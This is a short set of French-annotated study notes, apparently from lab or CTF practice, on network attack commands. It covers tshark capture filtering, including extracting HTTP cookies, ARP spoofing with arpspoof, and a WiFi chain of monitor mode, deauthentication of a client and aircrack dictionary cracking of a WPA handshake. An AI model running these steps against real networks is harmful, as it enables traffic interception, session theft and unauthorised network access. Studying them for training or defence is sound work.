Tshark

 tshark -i eth0

 tshark -r HTTP_traffic.pcap

tshark -Y ‘http’ -r HTTP_traffic.pcap

`tshark -r HTTP_traffic.pcap -Y "ip.src==192.168.252.128 && ip.dst==52.32.74.91"

tshark -r HTTP_traffic.pcap -Y "http.request.method==GET"

tshark -r HTTP_traffic.pcap -Y "http.request.method==GET" -Tfields -e frame.time -e ip.src -e http.request.full_uri

tshark -r HTTP_traffic.pcap -Y "ip.src==192.168.252.128 && http" -Tfields -e http.user_agent`

tshark -r HTTP_traffic.pcap -Y "ip.src==192.168.252.128 && http" -Tfields -e http.user_agent

tshark -r HTTP_traffic.pcap -Y "ip contains amazon.in && ip.src==192.168.252.128" -Tfields -e ip.src -e http.cookie

ARP spoofing

echo 1 > /proc/sys/net/ipv4/ip_forward #start ip forward
arpspoof -i eth1 -t 10.100.13.37 -r 10.100.13.36
# -t victim
#-r attacker - routeur que l'on cherche à spoofer
# fait moi passer pour 10.100.13.36 auprès de 10.100.13.37

echo "0" > /rpoc/sys/net/ipv4/ip_forward #stop ip forward

Analysis Tools

Snort : sniffer mode
Wireshark (avec carte réseau en mode promiscuité)

sudo ip link set eth0 promisc on

tshark / tcpdump
Ethercap / Mitm
NetworkMiner: Cartographie réseau + IHM + files + emails

WIRELESS

glitch@wifi:~$ sudo ip link set dev wlan2 down
glitch@wifi:~$ sudo iw dev wlan2 set type monitor #passer en mode monitor (sorte de promiscuité sur Wifi)
glitch@wifi:~$ sudo ip link set dev wlan2 up

sudo airodump-ng wlan2 #scan de l'interface wifi wlan2
sudo airodump-ng -c 6 --bssid 02:00:00:00:00:00 -w output-file wlan2 
#-c canal 6 - laisser tourner le processus pendant l'attaque de desauthentication !!!

sudo aireplay-ng -0 1 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan2
# -0 attaque de desauthentication / -a BSSID  / -c victim

sudo aircrack-ng -a 2 -b 02:00:00:00:00:00 -w /home/glitch/rockyou.txt output*cap
#attaque par dictionnaire rockyou utilsant les fichiers output-file-0x.cap générés par airodump

#connexion avec PSK
glitch@wifi:~$ wpa_passphrase <SSID> 'ENTER PSK HERE' > config
glitch@wifi:~$ sudo wpa_supplicant -B -c config -i wlan2